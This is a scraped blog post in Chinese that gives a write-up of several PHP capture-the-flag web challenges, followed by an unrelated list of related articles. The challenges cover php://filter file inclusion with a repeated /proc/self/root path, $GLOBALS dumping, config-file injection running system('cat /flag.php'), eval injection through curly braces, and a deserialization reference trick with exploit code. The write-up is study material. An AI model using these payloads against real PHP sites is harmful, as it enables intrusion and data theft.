掌控ctf-2月赛

news/2025/1/8 3:40:20/

没事干 随便刷刷题

1伪协议读取系统进程

源码

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {require_once $_GET['file'];
}

伪协议读取flag.php,/proc/self指向当前进程的

exp

?file=php://filter/read=convert.base64-encode/resource=file:///proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/flag.php

2超全局变量

<?php  error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){$args = $_GET['args'];if(!preg_match("/^\w+$/",$args)){die("args error!");}eval("var_dump($$args);");
}

一看到超全局变量就想到了 GLOBALS

3命令执行

<?php
if(!isset($_GET['option'])) die();
$str = addslashes($_GET['option']);
$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);

访问config.php会报错 然后把GET参数暴露

exp:
config.php?8=system("cat /flag.php");

巧用花括号(考点:花括号用法)

<?
#GOAL: gather some phpinfo();
function flag(){echo "flag{I'm xxxxxxxxxxxxxxxxxxxx}";
}
$str=@(string)$_GET['str'];
@eval('$str="'.addslashes($str).'";');
?>

字符串${foobar}​中的foobar会被当作变量来处理

?str={{phpinfo()}}

flag在flag()中

?str={{flag()}}

PHP特性(考点:PHP中引用的特性)

<?php
#GOAL: get the secret;
class just4fun {var $enter;var $secret;
}if (isset($_GET['pass'])) {$pass = $_GET['pass'];if(get_magic_quotes_gpc()){$pass=stripslashes($pass);}$o = unserialize($pass);if ($o) {$o->secret = "flag{I'm xxxxxxxxxxxxxxxxxxxxxxxxxxxx}";if ($o->secret === $o->enter)echo "Congratulation! Here is my secret: ".$o->secret;elseecho "Oh no... You can't fool me";}else echo "are you trolling?";
}

exp

<?php
class just4fun {var $enter;var $secret;
}$a= new just4fun();
$a->enter= &$a->secret;
echo serialize($a);


http://www.ppmy.cn/news/1561055.html

相关文章

Visual Studio 使用 GitHub Copilot 与 IntelliCode 辅助编码 【AI辅助开发系列】

&#x1f380;&#x1f380;&#x1f380;【AI辅助编程系列】&#x1f380;&#x1f380;&#x1f380; Visual Studio 使用 GitHub Copilot 与 IntelliCode 辅助编码Visual Studio 安装和管理 GitHub CopilotVisual Studio 使用 GitHub Copilot 扩展Visual Studio 使用 GitHu…

Django Swagger文档库drf-spectacular

一、概述 drf-spectacular 是一个为 Django REST Framework (DRF) 设计的 OpenAPI 3.0 和 3.1 规范的生成器。它旨在提供既理智又灵活的方式来创建 API 文档&#xff0c;主要实现以下三个目标&#xff1a; 从 DRF 中提取尽可能多的 schema 信息提供灵活性&#xff0c;使 schema…

2025年贵州省职业院校技能大赛信息安全管理与评估赛项规程

贵州省职业院校技能大赛赛项规程 赛项名称&#xff1a; 信息安全管理与评估 英文名称&#xff1a; Information Security Management and Evaluation 赛项组别&#xff1a; 高职组 赛项编号&#xff1a; GZ032 1 2 一、赛项信息 赛项类别 囚每年赛 □隔年赛&#xff08;□单数年…

Dockerfile进行详细的介绍

Dockerfile 是用于定义 Docker 镜像构建过程的文本文件&#xff0c;它包含了一系列的命令和指令&#xff0c;这些命令告诉 Docker 如何构建一个镜像。Docker 镜像是应用程序和所有依赖项的打包&#xff0c;其中包括操作系统环境、安装的依赖包以及应用本身。 通过 Dockerfile&…

leetcode 面试经典 150 题:同构字符串

链接同构字符串题序号205题型字符串解法哈希表难度简单熟练度✅✅✅✅ 题目 给定两个字符串 s 和 t &#xff0c;判断它们是否是同构的。 如果 s 中的字符可以按某种映射关系替换得到 t &#xff0c;那么这两个字符串是同构的。 每个出现的字符都应当映射到另一个字符&#…

软件需求规格是什么

软件需求规格&#xff08;Software Requirements Specification&#xff0c;简称SRS&#xff09;是软件开发过程中一个非常重要的文档&#xff0c;它详细描述了软件产品的功能和性能要求&#xff0c;以及为了满足这些要求而必须遵守的约束条件。软件需求规格为开发团队提供了一…

enzymejest TDD与BDD开发实战

一、前端自动化测试需要测什么 1. 函数的执行逻辑&#xff0c;对于给定的输入&#xff0c;输出是否符合预期。 2. 用户行为的响应逻辑。 - 对于单元测试而言&#xff0c;测试粒度较细&#xff0c;需要测试内部状态的变更与相应函数是否成功被调用。 - 对于集成测试而言&a…

Elasticsearch向量检索需要的数据集以及768维向量生成

Elasticsearch8.17.0在mac上的安装 Kibana8.17.0在mac上的安装 Elasticsearch检索方案之一&#xff1a;使用fromsize实现分页 快速掌握Elasticsearch检索之二&#xff1a;滚动查询(scrool)获取全量数据(golang) Elasticsearch检索之三&#xff1a;官方推荐方案search_after…